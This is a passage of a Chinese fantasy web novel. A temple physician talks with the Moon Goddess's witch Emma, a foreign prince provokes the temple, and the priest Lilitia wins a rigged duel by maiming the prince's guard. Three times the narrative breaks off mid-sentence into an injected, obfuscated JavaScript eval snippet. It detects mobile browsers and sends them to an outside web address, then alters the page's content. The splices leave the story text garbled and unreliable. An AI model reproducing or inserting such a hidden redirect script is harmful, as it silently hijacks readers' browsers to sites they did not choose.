克蕾娜低声说:“我始终不明白……无法想象,也不能理解。我跟他不是一路人。” “其实,我有点意外。”艾玛端着茶杯,眨了眨眼睛,“你对他的感情比我以为的复杂很多。” “……是吗?”克蕾娜摸了摸眼睑,端起自己的茶。 “甚至有点沉重。” “请不要开玩笑了。” 艾玛想了想:“或许,答案没有那么复杂。他只是因为信仰月神,所以决定要到月神的神殿来而已。” “利利提亚对神殿的说辞倒真是这样。”克蕾娜苦笑,沉吟一下,“我不是非常狂热的信徒,有时实在很难理解那种类型。 “但,我觉得他跟那种信徒还是不太一样……就当是一些毫无根据的直觉吧。” “很有参考价值的意见。”艾玛说,“我也没想到,你会跟我说这么多。” 克蕾娜的目光停在她脸上几秒,避开般移到茶杯上去了:“因为您是……月神的女巫。我不知道利利提亚到底在想什么,但他对月神殿下的执着无可置疑。 “他一定会很关注您。请权当是……我自说自话的,提醒。” 她握住杯柄,指腹在光滑的瓷面上来回擦过几次:“也或许我只是想把这些话说出来。” 艾玛思考了几秒,突然说:“克蕾娜小姐,你是几几年出生的?” 克蕾娜一愣:“71年。” 同龄人间问起年纪的时候,时常会把代表世纪的年份隐掉,只说尾数。 “好巧!我也是71年。”艾玛亮了亮眼睛,“原来我们年纪一样啊。” “啊,嗯。” “那我可以直接叫你的名字吗?你也可以直接叫我的。” 克蕾娜愕了一会儿,思考片刻:“您直接叫我的名字,当然没问题。但要我直呼您的名字……” “朋友之间,很正常吧?”艾玛说,“你告诉了我那么多自己的事,我们应该是朋友了吧?” 克蕾娜张了张口,扶住额头,又想了好一阵子,显出一种信息过载的运转不良:“好像……大概……或许……?” “那你平常怎么称呼西里斯的?” 被关键词所提醒,克蕾娜精神一振,猛地从自己讲的故事中清醒,联想今日场景的前因后果,过去未来,感觉有一种凝重的警惕,但茫然不知为何凝重。 “我直接叫他的名字。”她慎重地说了实话。 “哦,其实,西里斯比我们大很多的。”艾玛用食指和拇指比划了一个距离。 “呃,嗯,是的,西里斯他知道很多药理知识,在治疗实操上也很有经验,看得出经历丰富。跟他讨论医学知识让我有很多收获,他最近帮了不少忙。 “感觉不太有架子,也没有那种自以为是的傲慢,相处起来挺放松的……差很多吗?”克蕾娜摸着后脑想了想,“他看起来很年轻,三十岁左右吧?” “其实具体年龄我也不知道。”艾玛说。 “诶……”你们不是在交往吗? 克蕾娜没问,只觉得世上无奇不有,他俩的关系真的很扑朔迷离,有一种超出她认知范围的情趣。 克蕾娜以为她已经明白了,又好像还没有。 “但是,你都能直接叫西里斯的名字了,那你也是西里斯的朋友。西里斯的朋友也是我的朋友。所以,你可以直接叫我的名字吧?” 艾玛看着她,似乎很期待。 克蕾娜不理解一切。 她完全没有明白这段话的逻辑,甚至越想越觉得奇怪,但直觉又告诉她不要思考,要感受。 “好的。”克蕾娜重新运转成功的大脑跳过逻辑分析,直接打开语言模块,“那我叫您‘艾玛殿下’……吧?对女巫不能完全去掉敬语,这样可以吗?” “可以。” 艾玛到达阿瓦托芬已近一个月,第一次成功忽悠知情的某人改变对自己的称谓,感到很高兴,并且对将来的其他胜利怀有了更多信心。 克蕾娜端起茶杯,一阵深思。 94.争端 西里斯回到克蕾娜办公室的时间比预计迟了二十多分钟,开门时见克蕾娜和艾玛还在闲聊,氛围颇为放松。 克蕾娜也不像之前那样,一看见西里斯就找到救星般把他匆匆一推走了,她甚至没站起来,只向他招了招手。 西里斯知道艾玛不是难相处的类型,克蕾娜对她放下紧张也不意外,便自然地拿着手里的记事板放到克蕾娜面前,用笔尾点了点板上的记录:“检查情况是这样,需要其他处理的我标在上面了。” “哦,谢谢,辛苦。”克蕾娜接过记事板看。 西里斯接着说:“你要的粟花籽得晒干才能用,从温室那边现摘处理需要两三天。急吗?” “那个没事,从药材库那边拿存货就行。” “药材库?我好像还没去过。” “在西殿那边,稍微有点远啊。那边不完全属于医疗部管,有巡防营的守卫,领用审核严一点,怕出责任,还是我自己去拿好了。” 克蕾娜抵着下巴想了想,“唔,最好今天领来,明天要值班,可能下午要用。我还是现在去一趟吧。” 她转过头道:“那,艾玛殿下,要是您还有其他安排……” 艾玛看看时间:“过一会儿就是晚餐时间了,要一起吗?” “嗯……也行?西殿那边有家食堂的蔬菜卷我挺喜欢的,您有兴趣吗?” “想试试看。” 克蕾娜收好桌面的东西,站起身:“那我们先过去吧,在食堂吃完应该还来得及去药材库。” 西里斯思索了一下,已经拟定好“事实上刚才已经吃过了”的借口,但觉得这话等到他在食堂点一杯水之后再说不迟,因此没开口。 在走去西殿的路上,克蕾娜和艾玛还在聊天,西里斯和荷尔贝拉跟在她俩后面,都没说话。 克蕾娜在向艾玛介绍医疗部这边的一些工作和职位设置,艾玛听着听着,提出疑问或发表简短的感想。 还没走到,就听见遥遥的人声从楼底飘浮过来,绕过砖石墙壁和拐角,透着隐隐嘈杂的吵闹。 “怎么回事?”克蕾娜也不知道发生了什么,皱皱眉。 走过拐角,声音更清晰了。 从走廊的窗口往下望,隔着好些距离,楼前的广场上聚着不少人。 多数是神殿的信徒,在人群聚成的圆里,较为空旷的那端,站着三个异服的外乡人。 他们的服饰风格与阿瓦托芬迥异,显然属于另一个国家的文化。 三人中站在最前的,是一个魁梧的男子,上身赤裸,纹着某种刺青图腾,颈上臂上戴着金环,面色沉沉,将另两人护在身后。 离他最近的同伴是个满脸挑衅的少年,衣服上精细刺绣的花纹夸张、色彩艳丽,形成一只耀武扬威的虎。 少年正向人群另一端最前方的信徒说着什么,神色颇为张狂不屑。 那个被他挑衅的信徒也是个还年轻的男生,面色煞白,握成拳头的手垂在身侧,他身边的同伴正扯着他衣角安抚他不要冲动。 三人中最后的是一个沉默的男子,仿佛只是在远远围观一场闹剧,不帮腔也不制止。 他的衣着比另外两人更复杂,佩着金铜色的沉重首饰和彩珠,动作仪态也更稳重。 那个张狂的少年音量颇大,艾玛他们这边也听得清。 但他说着说着,在通用语中时不时夹进一句自己母国语言的讽刺话,不会翻译法术的人只能听得一头雾水,而少年一捕捉到别人脸上的茫然,就更不屑地露出嗤笑。 “看来外交那边有点麻烦。”克蕾娜看着底下的景象,皱眉说。 艾玛看看那个嚣张的少年,道:“神殿不是很强大吗?在他国的领土上这么行事,既无礼,也很危险才是。” 克蕾娜沉默了片刻:“是啊。但这样的事,偶尔会发生……我都见过几次的,说‘偶尔’或许太保守了。 “殿下,您认为,神殿的强大之处在哪里?” 艾玛想了想:“这里有很多魔法师,月神的信仰既凝聚他们,又使他们强大。还有能使通用语言和度量时间等标准在整片陆地通行的影响力,很多盟友国家。” “不错……就像您所说,信仰的凝聚力,和这里的众多魔法师,是神殿最强大的力量。 “在这个奇迹可能突然毫无道理地降临在某一个体身上的世界,个体的强大程度甚至能影响整个国家的事,也不算罕见。 “一个魔法师要是足够强大,千百个魔法师都未必能与他相抵。 “而神殿之所以能千年百年稳固,是因为我们有‘女巫’。 “信仰中说,‘女巫是神的化身,神的使者,神的孩子’,无论其中哪一种说法是正确的,都有一点可以确定: “‘女巫是天选的魔法师,神明的宠儿,魔法师中的天才’。 “您或许注意到过,阿瓦托芬的气候很好。 “这里有四季变化,气象不极端,适宜居住; “土质也特殊,有森林、花圃,也有田地,秋天我们会举办丰收季,年年硕果累累; “流经整座城市的塞利河发源自神殿中,清澈且从不枯竭——这好得太理想了,不是吗? “我们相信这一切是月神的恩赐,但非信仰者不认为,就像他们不理解神殿的很多制度和传统。 “许多非信仰者臆断:并不是‘女巫’找到了神殿,而是‘这片土地’造就了女巫。 “也就是说,他们认为,‘只要拥有这片土地,像女巫那样天才的魔法师自然会在其中诞生’。 “阿瓦托芬的地理位置和资源足够让任何国家羡慕,如果不是惧于历任女巫的强大,他们早就染指了这里。过去和现在,想让阿瓦托芬易主的国家从不缺乏。 “奇迹是平等的,殿下,就像您并不出生在阿瓦托芬,而才能惊绝的魔法师也会诞生在其他国家一样。” 克蕾娜叹了口气:“月神神殿已经两百年没有女巫在位了……他们只以为是这两百年里,阿瓦托芬并没有诞生出强大到足以被冠上‘女巫’这名字的魔法师。 “但信徒知道,女巫是特殊的存在,再强大的魔法师也不能顶替这个名字的意义。 “只是有不少国家因为这现象滋生了贪婪的野心和妄想,尤其近些年……试探、挑衅,甚至向月神神殿发动战争的国家都变多了。 “神殿的影响力能够施展,是因为它的强大和中立,和神殿缔结友好关系的盟国也为此对神殿保持……‘中立态度’。” 克蕾娜指了指下方的人群:“那几个外来者,恐怕就是这种类型。打着‘盟国’的名号,明里暗里做些试探挖苦神殿的事,哪天把盟约一撕发兵来战都不稀奇。 “而月神神殿承诺了‘不战誓约’,除非他国来犯,绝不主动发起战争。 “有时候反击得稍微过分点,对方一转面目说什么以和为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16426201|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贵不打了,神殿还不能不同意,否则就是‘背誓’,其他笑里藏刀的盟国还等着符合道义的把柄借口统一战线呢…… “有时候我也想,这样的‘中立’不其实就是一种和所有人为敌吗?” 她摇摇头:“要不是神殿背后确有神明,根本撑不下去。好在,现在您已经来到神殿了,这样的事,往后应该不会再多了。” 克蕾娜说这话的时候,声音放松了点,没觉得有什么异样。 但在来到神殿的这段时间,议会和主祭司都向艾玛谨慎地提过“尊重女巫的意愿,绝不强留”,以至于在说到挽留她的话时都很小心。 克蕾娜刚才的话里却完全是另一种意义,明确地表达了女巫对神殿的重要性,且很自然地认为艾玛会留在这里。 跟她接触已有些时间,艾玛也看得出克蕾娜是没什么心计,更不会拐弯说话的人,说这话肯定不是有意给艾玛施加压力。 那只能说明,她知道得不像议会和主祭司那样多,也没人提醒过她。 想到这里,艾玛向身后荷尔贝拉的位置看了一眼,正好和她撞上视线。荷尔贝拉迅速移开视线的动作里有一点僵硬。 监察骑士应该是知道的。艾玛想。 虽然他们对女巫这么谨慎,某种程度上对艾玛来说更轻松,她倒不介意。 但是谨慎背后的原因和隐隐矛盾的异常还是需要留心。对自己所处的实际环境一无所知,那就不知道掉进陷阱后等着自己的是什么了。 艾玛看向西里斯的方向,他也走到了砖墙的围栏边,正望着楼下的景象。 她将视线移回僵持的人群,对克蕾娜说:“对方冒犯在先,不能动手吗?” 克蕾娜深深揪着眉毛摇头:“就是不能才麻烦,先动手才会真的被抓住把柄——啊!” 她惊呼一声。 信徒中最前端的那个男生终于受不了对方的挑衅,冲上去想要给对方一拳,却被三人中那个魁梧的男子抓住手臂,反在他脸上重重揍了一拳。 巨大的冲击力把男生打到了地上,脸颊立刻浮肿流血。人群顿时混乱起来。 那个少年见了,却更得意:“哈!你们都看见了,是这小子先动的手!说不过就要打人,好一个大国风范啊!” 克蕾娜的脸色很难看,匆匆对艾玛道:“抱歉殿下,我先失陪了。今天的安排,下次有机会再说吧。” “好。”艾玛点点头,向她摆手。 克蕾娜没心思回复太多礼节,匆忙地快步赶去楼梯口。 不多时,艾玛就看见克蕾娜赶到了人群中,迅速检查那个受伤男生的伤势,低声跟他说了什么。 而人群中的氛围更加紧绷,却仍然没有下一步动作。 少年见此,不满地大声叫嚣:“你们就只有挨了打溜回去舔伤口的本事!不是说月神如何如何强大,你们的祭司有多了不起吗?我只看见了一群忍气吞声的孬种! “好啊!不是要打吗?来啊!叫你们的战争祭司出来!” 人群突然安静了,向两边分开一道。 银发白衣的青年从为他让开的道路中走出来,信徒中的不安和躁动都因为他的出现消失了,变成一片无声的寂静。 利利提亚走到人群前端,微笑着向三人行了个礼:“下午好,诸位。我正好路过这边,听到有点吵闹,就过来看一看。 “远道而来的客人,是有什么麻烦吗?” 95.使节 张扬的少年看见利利提亚如此从容,其他信徒又陷入了完全的安静,便狐疑地上下打量他:“哦,你是管事的?” “也不是什么都管。”利利提亚微笑道,“先自我介绍吧。我是利利提亚,月神神殿的神谕祭司,兼军权祭司。 “如果是外交上的问题,我还说得上一二,几位不如先讲讲,看看我解不解决得了。” “嚯,你就是传闻里那个很了不得的‘战争祭司’?”少年看他两眼,不屑地冷哼,“长得女里女气,我看你这身板,都挨不了多里克一下。” 利利提亚说:“我想这位客人听了传闻,产生了一些误解。‘战争祭司’是对神殿的‘军权祭司’的蔑称,只有我们的敌人在战争状态下才会这么称呼,是对‘军权祭司’的侮辱。 “我想你并不知道这层含义,所以做个提醒,请撤回前言。 “无知者无罪,但如果你现在已经知道这一点,却仍然坚持使用这个称呼,我将视为…… “对神殿的‘宣战’。” 利利提亚的笑容消失了,看着那个少年。 少年显然还不服气,嘴比脑子快地就要说点什么,却被他身后的男人拦下了:“科林。” 少年顿了顿,闭上嘴,哼一声,不屑地看了利利提亚一眼。 说话的男人将他拦到身后,把那个魁梧的男子抬起防卫的手臂按下来,微笑着对利利提亚道:“我弟弟不懂事,祭司阁下见谅。” 利利提亚打量他:“啊,想必这位就是匹尔查斯的第三王子。” 男人笑着问:“你认得我?” “只是猜测,外交部的待客行程表我有过过目。真让人遗憾,这个时间您本该在会客厅坐着和我们的外交部人员谈话,现在却非要站着这么辛苦。” “为了国家和民众的利益,这点小事算不上辛苦。” 利利提亚目光又转到那个少年身上,似有所悟般:“那么这位便是随同您前来的十七王子。真是失礼,我还以为是使团里陪着长辈来参观的孩子呢。” “你!” “科林。”叫作科林的少年又要发作,被男人止住了,“科林身份尊贵,在匹尔查斯没人逆着他的意思,脾气便张扬了点。不过是率直的孩子心性,祭司阁下也太在意了些。” “当然,孩子不懂事的话听听也罢了,但一国王子的狂言,传出去,分量可就不一样了呀。殿下要当心。” 利利提亚笑道,“十七王子年幼,难以自制,您要是管教不好,难免被人落了话柄,更甚者以为您故意为之呢。” “科林说得是过了点。”三王子移开了话题,“不提这点意气之争了,还是说说正事,我们刚才正为这事向贵国使节要个说法。” “愿闻其详。” “我的领地大旱两年,作物难以成活,民众深受其苦。听闻月神可控制天象,便来向神殿求一个降雨的方法。 “四个月前,贵国使节信誓旦旦,不出一月就能让我的领地恢复降雨,我出于对盟国的信任和对月神的敬意,等了足足四个月,至今仍然滴雨未下。 “我相信神殿确有能力,便与贵国使节好言相谈,不料他却质疑进献我国神明孟玛的仪式,污蔑我们的仪式干扰了天象,实为让人痛心。” “又没污蔑你们!”刚刚被打到地上的少年激动道,“说什么用罪民的血向孟玛祈求福祉,你们的仪式根本——” “奥尼尔。”利利提亚看向那个少年,叫他的名字,“你是外交部的成员。我记得,四个月前,你确实和天象司的布鲁约一起出使了匹尔查斯的领地。布鲁约在哪里?” 奥尼尔看着三王子,恨恨咬牙:“他们扣下了布鲁约,只带我回来。” “这样就很难办。”利利提亚对三王子无奈道,“您看,当事证人之一不在场,不听他的辩解,我为您怎么找公道呢?” “那个使节对孟玛不敬。”三王子淡淡道,“如果不因为他是贵国的使节,早已身首异处,留他的性命是孟玛的仁慈。 “孟玛不忍子民受苦,得到降雨的方法更重要——但我们也不是不讲道理的匪徒。如果贵国确没有降雨的能力,直说道歉就是,我们可以接受贵国的赔礼。” 利利提亚摇头,“神殿既然派出使节,便是通过占卜确信我们有能力为贵国处理问题。 “贵国国王特意为您发来请求,两国素来关系和睦,神殿不忍盟友受难,才精心挑选了出使的使者。现在却毫不公平地挟持使节为人质,一面之词就向神殿逼着讨要说法,实在令人伤心。” 利利提亚遗憾道,“要是贵国的孟玛真的存在,想必为此羞愧以极。” “你敢侮辱孟玛!”十七王子立刻大喊道,被三王子拦住了。但他的脸色也很不好看。 “这是对我国信仰的侮辱。”三王子寒着脸说,“请道歉。” “如果您能证明孟玛确实存在的话。” 三王子冷笑:“那你就能证明月神真的存在吗?” “当然。”利利提亚微笑,“神殿还在这里,就足够证明了,不是吗?” “真是荒唐,你也不过是强词夺理。” “看来我说得太过分了。但这也没办法,” 利利提亚的语气颇为怜悯,“信仰附庸王权的神明,信仰的本来也不是什么神,而是王权本身啊。” 刀锋迎面而至,猛地下落,砸进利利提亚身前的地面。 利利提亚仍然微笑,一步都没有移动:“这次确实是贵国使节先动的手,您不会否认吧?” 那个魁梧的护卫刚刚抽出自己背上的宽背大刀,对着利利提亚砍过来,刀身却在碰到他之前就不受控地下沉,直直砸进地面,没入其中。 护卫全身肌肉紧绷,仍然牢牢握着刀柄。却僵在原地一动不动。 三王子的脸色更难看了:“早听闻月神神殿的这一位军权祭司是个出众的魔法师,名不虚传。 “这里是你们的主场,魔法石和魔法师,你们要多少就能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16431671|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找到多少。阁下要对我们动手,胜虽简单,也太不光彩。” “您的人先动的手,怎么就开始提前骂我胜之不武了呢?”利利提亚动了动手指,魁梧的护卫恢复了行动力,从地面抽出自己的大刀,戒备地看了他一眼,但没再立刻动作。 利利提亚说:“我也很为难啊,想跟您讲道理,您说我强词夺理;直接比试武力倒不错,简单直接,您又说我赢了也不光彩。那不如您提个叫人满意的方案吧?” 三王子沉默了几秒,对着那魁梧的护卫说:“这是我的亲卫多里克,我们匹尔查斯有名的勇士。 “匹尔查斯有一项传统,如果产生纷争,双方各执一词,无法调和,则在孟玛的见证下进行公平决斗,赌上生死。孟玛会庇佑正义的一方胜利。” “很简单的规则,不错。”利利提亚说,“但这里是月神的神殿,孟玛恐怕也进不来,要怎么保证你们的‘公平’呢?” “孟玛主持的决斗中,不许使用魔法。” 三王子从腰上抽出自己的佩剑,盯着利利提亚的眼睛,“我的佩剑上镶着受过孟玛祝福的魔法石,一旦持剑者使用法术,剑就会碎裂。多里克的刀上也有同样的魔法石。” 利利提亚玩味地看着他递来的剑柄:“您的意思是,让我用您的剑,和您的护卫比一场?” “赌上生死,敢吗?”三王子看着他的眼睛。 利利提亚接过剑,叹了口气:“哎,您运气真不错。” 三王子动了动眉毛:“怎么?” “今天我的上司在这里,我还想给她留个好印象。”利利提亚说,“她似乎是个好心的人,我还是不要当着她的面杀人比较好。” “你怕了。”三王子露出笑容。 利利提亚转过身去,挥挥手:“站远些,等会儿溅到自己护卫的血可不好看。” 克蕾娜已经治疗了奥尼尔的伤口,刚刚一直旁观着他们的对话。 利利提亚走过来向人群示意退开,然后望向她:“你好,克蕾娜,见到你真高兴。” “……女巫殿下在楼上。”克蕾娜说。 “我还在思考要不要和她打招呼呢。”利利提亚看着正在为决斗留出场地的人群,“这里太多人了,下次吧。 “他们要我‘赌上性命’比试呢,克蕾娜,你不对我说点祝福的话吗?” 克蕾娜沉默半晌,说:“你不可能输。” 利利提亚笑了:“真好,最动听的祝福。” 广场上留出了一大片空地,利利提亚走向空地中心,名为多里克的护卫紧握着大刀,警惕地估计着两人之间的距离。 十七王子站在他身后远处,冷笑着向利利提亚比了个抹脖子的手势。 三王子这时又显得很有气度,和缓地对他道:“话说完了吗,祭司阁下?性命只有一条,以免之后讲不清,不如再找人检查一下剑上的魔法石,再适应适应?” “不用了,开始吧。”利利提亚没看他,提起了剑尖。 96.决斗 “你怎么看?”看到人群开始退开的时候,西里斯问。 “他是故意的。”艾玛说。 “对面的使团?” 艾玛唔了一声:“两边都是吧。对面是故意来找茬的,连由头都蓄谋已久,但从神殿的立场,还是得柔和地解决问题,难免受委屈。 “这位神谕祭司阁下的做法,看着解气,但相当激进。对方有备而来,想逼着他动手,但他似乎比对方更乐于答应这个明显的陷阱。他是那种受不得气的类型吗?” “不像。”西里斯说,看向艾玛,“你会选择哪种方式?” “先坐下来好好谈吧。”艾玛说,“你以前不是这么教我的吗?你说,如果实在说不通,你再去对方地盘上弄闹鬼的动静,或者用魔法改改他们的脑子,再不然让人直接暴毙。很符合刻板印象里恶魔的思考方式。” “……那是开玩笑的。” “嗯,我想也是,也没听说谁暴毙了。”艾玛说,“但破产的确实有好几个。” 艾玛看着广场中心:“喔,开始了。” 多里克警惕地和利利提亚保持着距离,一边盯着他,一边缓慢地移动。 而不同于他的紧绷,利利提亚持剑的手都是松松的,眼光仿佛是有意无意落在他身上。 三王子暗暗笑了一声,心里不屑于这小子的傲慢。 他事先得到的情报给了这位神谕祭司极高的评价,仅一回合口头交锋,他就能看出那些评价不假。 出身贵族,受过极高的教育,在魔法和剑术上都有着过人天赋——那又怎么样呢?还不是在家族的权力斗争中让位逃跑的失败者。 恐怕是小时候被人好言好语哄着的小少爷,自尊心高得一点都碰不得,三言两句激了几下就赶着上当。 真是可惜了这幅好皮囊。他看着利利提亚的侧脸,有点惋惜地想。要是作为联姻的价码,想必能卖个不菲的价钱。 一个接过对手来历不明的剑,随意答应别人生死决斗的家伙,他怎么看怎么是个蠢货,枉费那些懦夫们对他如此忌惮。 情报中说,利利提亚来到神殿不久,就在某国对阿瓦托芬发起的战争中立下了卓著战功,一战成名,这之后就迅速升职。 而他接任神谕祭司之后,这两年对阿瓦托芬别有心思的国家都引而不发地将念头按了下去。 三王子想,他们实在太胆小了。 也不用脑子想一想,利利提亚在战争中那夸张的战绩,哪里是正常人能做到的?他一定用了什么魔法。 使用冷兵器的战士再出色,也敌不过有魔法加持的对手。 那么只要卸掉他魔法的羽翼,再了不得的剑术天才也一样是个普通人。普通人是战胜不了魔法的。 国王暗地里交给他的情报也佐证了这一点。 只要,除掉这个牙尖嘴利的狂妄小子,那些在传言里被夸大的恐惧都会消失。那些还在等待时机的豺狼们绝不会放过这样的机会。 而匹尔查斯强大的魔法师全都秘密集结在国王麾下,他们足有一战之力。 来吧。三王子看着战场中心,低声默念。 多里克,砍下他的脑袋,这是你用命向匹尔查斯献上荣耀的机会。你不会输。 在多里克谨慎地一边移动一边寻找时机的过程中,由于利利提亚的散漫,他有一刻进入了利利提亚的视线盲区。 多里克没有放过这个机会,立刻提刀直刺上去。 他看起来体格健壮,宽背刀又沉重,但动起来却极轻巧,于视觉极有欺骗性地攻击迅速。 他在先前那个明显的突袭中有意隐藏了这一点,刻意让利利提亚以为自己行动笨重而轻敌。 但利利提亚从他刀锋边轻巧地避过了,像顺着刀刃被分开的水浪。 多里克立刻横刀挥砍,利利提亚跳起来,正好跃过刀尖。 两次攻击都像是只差一毫就能击中对方,多里克反而警惕,收刀回身格挡。 他和三王子不同,完全不认为利利提亚真的是个轻敌的莽夫。 即使找到什么破绽,也可能是对方有意为之,他要小心对方把刻意卖出的破绽做成陷阱。 “嘿,真警惕。”利利提亚也意外于他没有乘势追击,“放过主动权真的好吗?一直这么小心翼翼,可碰不到我的脖子。” 多里克仍然只是持刀看着他。 利利提亚叹了口气,看了一眼正面色凝重的三王子:“虽然很抱歉,但我这人最缺的就是耐心了……” 在他分心的那一眼里,多里克猛地欺身而上,突然用比之前还要高得多的攻速、猛烈得多的力道向利利提亚连砍数刀,攻势狂风暴雨般笼罩而上,切断了利利提亚躲闪的空间,让他终于不得不提起剑防御。 锁定他的位置! 封锁他的退路! 让他不能逃开! 不必瞄准,先碰到最重要! 巨刀和佩剑差距悬殊,利利提亚只用剑准确地戳在刀上有效的作用力点偏移了多里克的劈砍轨迹。虽然在他的猛烈攻势下后退,节奏却丝毫不乱,甚至在多里克有意不规律地变化的攻击空隙里也能迅速跟上。 不像是用经验和预判思考应对,更像某种见招拆招的身体本能,反应速度之快令人心惊。 但这些并不让多里克动摇,他的目标极为明确,让利利提亚防御!绝不给他喘息的空间和攻击的机会! 面对这样的对手,胜负可能一息间就会逆转,他神经紧绷。 利利提亚如他所愿选择防御,但脸上没有一点紧张。 多里克没有心思细看他的表情,也不多想,终于! 多里克猛地精神一振,找到了自己需要的绝佳时机,就是这时候! 多里克猛地向自己的刀中注入魔力。 他擅长的魔法是对攻速和力量的提升,如他一直以来锻炼的方向一样,简单,直接,够快,够有力! 只要把速度和力量提升到极致,什么样的对手终究都挡不下来! 在多里克魔法加成的猛然提速下,一切发生得太快,周围的人都没能反应过来,刀刃已经向着利利提 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16436164|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亚直劈过去! 旁观的三王子终于露出了笑容。 魔法比人力更快,比千锤百炼的战士更快,普通人无论如何不能战胜魔法——封印了魔法的剑术天才也一样。 但利利提亚仍然挡下来了,剑刃卡住了多里克的刀锋。 喀嚓。 一道细小的声音在他们间裂开。 利利提亚手里的佩剑产生了裂痕,却不是与多里克刀锋相撞的位置,而是镶嵌着魔法石的剑柄。 喀嚓。 多里克的刀锋向前压过去,在剑身中间,切开了一道裂口。喀嚓。 赢了。多里克想。 还不是松懈的时候,利利提亚动作太快,必须趁着剑碎掉的那一瞬空隙切实地砍中他。 利利提亚还握着剑柄——但没用了,徒增负累。 断掉的剑没法防御他最猛烈的攻击,而握着剑柄,剑上的魔法石就仍然会限制利利提亚无法施展魔法。 如果他决定抛掉剑使用魔法就糟了,所以必须是这最快的一瞬间,瞬间中的瞬间,胜负就会定下。 喀嚓。 在剑身即将碎裂前的那一瞬间,多里克看见利利提亚始终兴趣缺缺的脸上,那双比匹尔查斯国王权杖上的蓝宝石还要漂亮的眼睛亮起来,唇边露出了一丝兴奋的笑意。 喀嚓。 利利提亚和多里克错身而过,滚烫的鲜血喷溅出来,在广场浅色的石砖花纹上铺上大片大片黏稠的红色。 利利提亚半身是血,但他身后的多里克僵硬了两秒,猛地无法站立,倒在地面。 多里克的左臂和右腿被整个切断,再无法握住双手持握的巨刀,空白的刀背当啷摔进血泊里,浸进他自己的血中。 而利利提亚毫发无伤。 他身上的血迹都是和多里克擦身而过时溅到的,脸上身上都沾到不少。 他倒着提起那把只剩一半的佩剑,饶有兴趣地看着剑在自己面前一片片碎开、掉落,像观赏燃烧的焰火。 周围鸦雀无声,一时没有人给出任何反应,十七王子却满脸怒容,第一个冲上前叫喊:“混蛋!卑鄙的家伙!你使诈!剑都碎了,你用了魔法!” “三王子殿下的佩剑是脆了些。”利利提亚拎着剩下的剑柄,微笑着向三王子晃了晃,“戴这么差的剑在身上,碰到歹人哪里防得住呀。” “别转移话题!你耍赖!”十七王子气得面目扭曲,“说什么公平决斗!你还不是用魔法赢了多里克,下作的小人!” “我没有用魔法哦。”利利提亚说。 “你骗谁呢!”十七王子指着剑柄,“你看!剑都碎成这样了,你还狡辩!” “是啊,我也想知道。毕竟我没用魔法,不知道这魔法石到底是什么效果。 “看来十七殿下是真不知道呀,三王子殿下。您不向您亲爱的弟弟解释一下吗?” 利利提亚向三王子走过去,三王子下意识后退了一步,“为什么我的剑会自己裂开,而您的护卫既可以自在使用魔法,那柄刀也毫无缺损呢?” 97.鸽子 “他没有用魔法。”艾玛说。 西里斯点头:“那个护卫的魔法波动比较隐蔽,而且是爆发型的,刀的材质特殊,甚至进一步掩盖了波动。如果不是对魔法波动足够敏感,反应又快,很难发现。 “还以为这么苛刻的限制条件已经是他们的胜算了,看来对面也没想象得那么蠢。” “嗯……但这种事,真的是不依靠魔法能够做到的吗?”艾玛看着利利提亚和地面的血迹说, “我很清楚他没有用魔法,但即使亲眼见到,也很难想象这是人体范畴能做到的事。只是速度吗?快得用恐怖形容都太谦虚了。” “不清楚。”西里斯远远盯着利利提亚,说,“只能确定,他肯定不是个正常人。” 利利提亚站定在三王子面前,思考般说:“我替您捋了一下逻辑,您听听看吧。 “我猜,您给我的这柄剑上有两种魔法,一种可以限制持有者的魔力,即使我的魔力超出想象,只要加点附加条件,类似于让我答应决斗,就会产生契约效果,让我持剑时无法使用魔法; “第二种魔法是只要碰到魔力波动就会使剑身碎裂,和您先前说的‘持剑者使用魔法就会使剑身碎裂’有那么点轻微的不同呢。 “您确实没说明,对手作了弊施加魔法的武器碰到这柄剑,一样会使剑身碎裂。 “而您的护卫犯规,您是事前知道,并且默许的——哎呀,我可没觉得是您指使的哦? “‘忠勇的护卫热血过头,为了赢得胜利而背着王子使用了卑鄙的手段’,很好的说辞。反正只是一个护卫,推给神殿谢罪也没什么好可惜的吧? “嗯嗯,好像还不够啊。我怎么说也是神殿的主祭司,拿一个护卫来抵,神殿不会答应的吧?需要更有价值的祭品。” 利利提亚走上前,按住三王子的肩膀,在他耳边低声说:“您听听,为您代罪的羔羊——还在一无所知地嘶叫呢。” “你离皇兄远一点!”十七王子满面怒容地冲过来拉开他。 利利提亚没被他碰到,只是顺势退开。 三王子的面色早已变得一片惨白。 “无耻的家伙!”十七王子要把自己会的脏话说遍了,“你别扯开话题,剑呢!为什么会碎,你知道吧!你敢不敢让中立的魔法师验一验剑上的魔法!” 